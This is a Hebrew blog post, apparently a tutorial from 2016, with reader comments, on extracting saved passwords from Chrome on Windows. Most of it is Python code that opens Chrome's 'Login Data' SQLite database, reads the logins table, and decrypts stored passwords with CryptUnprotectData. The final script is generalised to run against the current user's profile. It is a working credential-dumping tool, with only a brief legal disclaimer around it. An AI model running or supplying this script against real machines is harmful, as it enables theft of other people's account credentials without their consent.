חשיפת סיסמאות מהדפדפן של כרום

By | אפריל 6, 2016

במאמר נראה איך ניתן להוציא את הסיסמאות השמורות במנהל הסיסמאות של הדפדפן כרום, באמצעות סקריפט פשוט שנכתב בפייתון.

לאחר פרסום המאמר האחרון, קיבלתי המון תגובות אשר ביקשו ממני לבדוק האם אפשר בקלות להוציא את הסיסמאות השמורות ממנהל הסיסמאות של כרום.
ולכן המאמר הפעם הוא המשך ישיר של שני המאמרים הקודמים שכתבתי:

  1. חשיפת סיסמאות בשיטה פשוטה
  2. פיתון למתחילים- הקמת סביבת פיתוח

חוקיות


 

לפני הכל חשוב לציין, שכל מה שכתוב במאמר זה ובכללי באתר שלי, הינו לידיעה, ללמידה ולשימוש חוקי בלבד.
אין לעשות בו כל שימוש לרעה או לפגיעה בחוק המחשבים המוצג כאן  ( חוק המחשבים, התשנ"ה-1995).

 

קובץ הסיסמאות


 

הדפדפן שומר המון מידע אודות הגלישה שלנו בנתיב הבא :

C:\Users\<WINDOWS-USER-NAME>\AppData\Local\Google\Chrome\User Data

כאשר <WINDOWS-USER-NAME> הינו המשתמש למערכת ההפעלה.

לאחר בדיקה קלה, מצאתי את הקובץ הבא :

C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data

אשר מכיל בתוכו את כל פרטי החיבור שלנו בניהם משתמשים וסיסמאות.
לאחר ניסיון לפתוח אותו עם notepad++ :

sqllite3format_1

ניתן לראות כי הקובץ הינו מסד נתונים מסוג sqlite 3 .

מציאת השדות המעניינים בקובץ 


 

השלב הבא יהיה להבין כיצד הקובץ בנוי ומה השדות המעניינים בו.
נשתמש בתיקיה sqlite3 של פייתון, וננסה להבין כיצד הקובץ בנוי:

בניתי את הסקריפט הבא :

import sqlite3
con = sqlite3.connect('C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
print(cursor.fetchall())

בשורה הראשונה הוספתי את הספרייה של sqlite לסקריפט שלי
בשורה השנייה טענתי את הקובץ
לאחר מכן הרצתי שאילתה שהתוצאה שלה תחזיר לי את הטבלאות הקיימות בו.

sqlite_get_table_2

ניתן לראות שקיימת טבלה מעניינת בשם logins  הדבר הבא שנרצה לדעת איזה עמודות יש בה, לכן נוכל להריץ את הסקריפט הבא :

cursor.execute("SELECT * FROM logins;")
list(map(lambda x: x[0], cursor.description))

התוצאה תיהיה שנקבל את השדות שהטבלה מכילה :

sqlite_get_columns_3

המידע שהיה חסר לי פה, הוא מה הסוג של כל עמודה ולכן השאילתה הבאה עזרה לי :

PRAGMA table_info(logins);

 

הסקריפט בשלמותו ( יוכל לעזור גם בחקירת קבצי sqlite  אחרים )

import sqlite3
con = sqlite3.connect('C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
print(cursor.fetchall())
cursor.execute("SELECT * FROM logins;")
list(map(lambda x: x[0], cursor.description))
cursor.execute("PRAGMA table_info(logins);")
print(cursor.fetchall())

כרגע יש לנו מידע על כל העמודות של הטבלה :

sqlite_get_columns_type4

את הסקריפט ניתן להוריד מכאן.

אז בואו רגע נסכם מה גילנו, מצאנו קובץ של מסד נתונים, מסוג sqlite המכיל בתוכו פרטים שנראים כמו פרטי התחברות.
העמודות המענייות נמצאות תחת טבלה בשם logins והם:

  1. origin_url מסוג varchar
  2. username_value מסוג varchar
  3. password_value מסוג blob

משתנה מסוג varchar  יכיל בתוכו מחרוזת טקסט לעומת זאת משתנה מסוג blob יכיל בתוכו מידע בינארי או מידע מוצפן.

אנחנו ממש מתקרבים להוציא את הסיסמאות.

הוצאת הסיסמאות של מנהל הסיסמאות של הדפדפן כרום באמצעות סקריפט פייתון


בואו ננסה להריץ שאילתה שתקרא את הנתונים האלו ונראה מה נקבל,

אז בניתי את השאילתה הבאה:

SELECT origin_url,username_value,password_value from logins;

הרצה שלה תחזיר לנו את כל הפרטים השמורים פרט לסיסמא :

select_query_5

כל שנשאר לנו על מנת שהסקריפט יעבוד זה להבין כיצד לקרוא את העמודה של הסיסמא.

אנחנו כבר יודעם שהסיסמא מוצפנת ע"י ה- credential של windows, ולכן הייתי רוצה להכיר לכם את את הפונקציות הבאות :

  1. CryptProtectData function – פונקציה אשר מצפינה מידע ע"י ההרשאות של – windows .
  2. CryptUnprotectData function – הפונקציה ההפוכה לה, אשר מוציאה את המידע שהוצפן ושוב ע"פ הuser credential .

ננסה להשתמש בה בכדי לפתוח את המידע ונראה מה נקבל.

לסקריפט החדש הוספתי את הסיפריה win32crypt והשתמשתי בפונקציה CryptUnprotectData בכדי לנסות להוציא את הסיסמא .

import sqlite3
import win32crypt
con = sqlite3.connect(r'C:\Users\matan\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
cursor.execute("SELECT origin_url,username_value,password_value from logins;")
for users in cursor.fetchall():
	print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)

סוף סוף קיבלנו גם את הסיסמאיוכ!

התוצאה :

select_query_to_get_chrome_password_6

נשפר קצת את הסקריפט בכדי שיוכל לרוץ על כל יוזר ולא רק על  היוזר שלי , נוסיף את הספרייה OS ונוציא באפן ג'נרי את תיקית הבית של היוזר:

import sqlite3
import win32crypt
import os
con = sqlite3.connect(os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data')
cursor = con.cursor()
cursor.execute("SELECT origin_url,username_value,password_value from logins;")
for users in cursor.fetchall():
	print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)

וזה הכל !!!

את הסקריפט ניתן למצוא כאן.

לסיכום


 

ראינו איך בקלות,באמצעות סקריפט קטן שלא יותר מ -10 שורות קוד, נוכל לגלות את הסיסמאות הנשמרות ע"י הדפדפן.

get_pass_7

מיותר לציין שאני לא חובב גדול של password managers, מכל סוג שלא יהיה.

את הסקריפטים ניתן למצוא תחת ה – github החדש של האתר שלנו. (מגיע לנו מזל טוב )

אני מקווה שהשכלתם .

דירוג

Comments

comments

4 thoughts on “חשיפת סיסמאות מהדפדפן של כרום

  1. שרון

    לא יודע איך השאילתות עבדו אצלך –
    אצלי ה-sqlite נעול:
    sqlite3.OperationalError: database is locked

     
    Reply
    1. Matan Post author

      בזמן הרצת הסקריפט מנהל הסיסמאות צריך להיות סגור,
      אפשר למצוא פתרון אחר לדוגמא העתקת מסד הנתונים לקובץ זמני הוצאת הנתונים ממנו ומחיקה שלו לאחר מכן

       
      Reply
      1. akunh

        היי
        גם אחרי הרצה על עותק מקבלים שגיאה:
        print(users[0],users[1],win32crypt.CryptUnprotectData(users[2], None, None, None, 0),)
        pywintypes.error: (-2146893813, 'CryptProtectData', 'Key not valid for use in specified state.')

         
        Reply
        1. Matan Post author

          תבדוק כי מותקנת לך ההרחבה שך pywin32 לגרסה הנתאימה למחשבך

           
          Reply

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *